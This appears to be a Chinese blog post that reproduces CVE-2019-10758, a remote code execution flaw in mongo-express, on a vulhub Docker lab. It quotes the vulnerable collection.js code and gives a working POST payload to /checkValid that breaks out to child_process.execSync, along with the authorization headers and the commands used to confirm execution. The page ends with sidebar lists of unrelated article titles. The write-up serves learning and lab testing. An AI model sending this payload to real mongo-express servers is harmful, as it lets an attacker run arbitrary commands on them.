当前位置:网站首页>mongo-express 远程代码执行漏洞复现
mongo-express 远程代码执行漏洞复现
2022-08-11 05:32:00 【Tauil】
漏洞原理
在 mongo-express 的 collection.js 中,checkValidIndexJSON 和 checkValidJSON 在处理消息体 document 内容时使用的 addDoc.getValue 和 addIndexDoc.getValue 方法没有进行检验,导致在知晓用户密码情况下可以执行js代码
const addDoc = CodeMirror.fromTextArea(document.getElementById('document'), {
mode: {
name: 'javascript', json: true },
indentUnit: 4,
electricChars: true,
matchBrackets: true,
lineNumbers: true,
theme: ME_SETTINGS.codeMirrorEditorTheme,
});
const addIndexDoc = CodeMirror.fromTextArea(document.getElementById('index'), {
mode: {
name: 'javascript', json: true },
indentUnit: 4,
electricChars: true,
matchBrackets: true,
lineNumbers: true,
theme: ME_SETTINGS.codeMirrorEditorTheme,
});
window.checkValidJSON = function () {
$.ajax({
type: 'POST',
url: `${
ME_SETTINGS.baseHref}checkValid`,
data: {
document: addDoc.getValue(),
},
}).done((data) => {
if (data === 'Valid') {
$('#documentInvalidJSON').remove();
$('#addDocumentForm').submit();
} else if ($('#documentInvalidJSON').length === 0) {
$('#document-modal-body').parent().append('<div id="documentInvalidJSON" class="alert alert-danger"><strong>Invalid JSON</strong></div>');
}
});
return false;
};
window.checkValidIndexJSON = function () {
$.ajax({
type: 'POST',
url: `${
ME_SETTINGS.baseHref}checkValid`,
data: {
document: addIndexDoc.getValue(),
},
}).done((data) => {
if (data === 'Valid') {
$('#indexInvalidJSON').remove();
$('#addIndexForm').submit();
} else if ($('#indexInvalidJSON').length === 0) {
$('#index-modal-body').parent().append('<div id="indexInvalidJSON" class="alert alert-danger"><strong>Invalid JSON</strong></div>');
}
});
return false;
};
漏洞复现
js文件中定义了该页面访问路径在 http://靶机IP:8081/checkValid ,需要用POST方式提交
消息体内容写入
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/hacker")
同时数据包需要新增类型
Authorization: Basic 用户:密码base64编码值
Content-Type: application/x-www-form-urlencoded
打开靶场:vulhub
cd mongo-express/CVE-2019-10758/
sudo docker-compose docker up -d
sudo docker-compose ps
登录网页,发送数据包
进入靶机容器
sudo docker ps
sudo docker exec -it 容器ID bash
ls /tmp
命令执行成功
边栏推荐
- swagger错误:WARN i.s.m.p.AbstractSerializableParameter - [getExample,421] - Illegal DefaultValue null
- 本地缓存cookie的使用
- swagger常用注释API @ApiModel、@ApiModelProperty的用法
- C语言-6月10日-my_strcpy函数的编写
- UE4打包工程失败问题记录
- Unity Rebuild和Rebatch浅析
- C# 基础之字典——Dictionary(一)
- 2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(5)
- 【Unity】关于一个炮台Prefab的剖析
- c语言-数据存储部分
猜你喜欢
C语言-6月10日-my_strcpy函数的编写
【LeetCode-13】罗马数字转整数
The whole process of Tinker access --- configuration
【LeetCode-34】在排序数组中查找元素的第一个和最后一个位置
虚拟机更改IP地址
heap2 (tcache attack,house of orange)
OpenGL中glGenBuffers glBindBuffer glBufferData的理解
gerrit configure SSH Key and account, email information
不同类型SSL证书怎么选?
8-byte standard request parsing during USB enumeration
随机推荐
【LeetCode-75】 颜色分类
【LeetCod】三数之和-15
lua-table引用传递和值传递
实操指南:多个域名该买哪种SSL证书?
C语言-6月8日-给定一个字符数组‘i am a student’ 统计字符a的个数并进行输出
UML 中九种图
OpenGL 简化点光源与平行光的对比实验
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(10)
Redis学习笔记【一】
C# 基础之字典——Dictionary(一)
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(9)
欧拉法解微分方程
Lua 快速入门(二)——函数(Function)
2021年vscode终端设置为bash模式
heap2 (tcache attack,house of orange)
C语言-内存操作函数
不同类型SSL证书怎么选?
连接数据库时出现WARN: Establishing SSL connection without server‘s identity verification is not recommended.
Lua中and和or的用法和记忆方法
stegano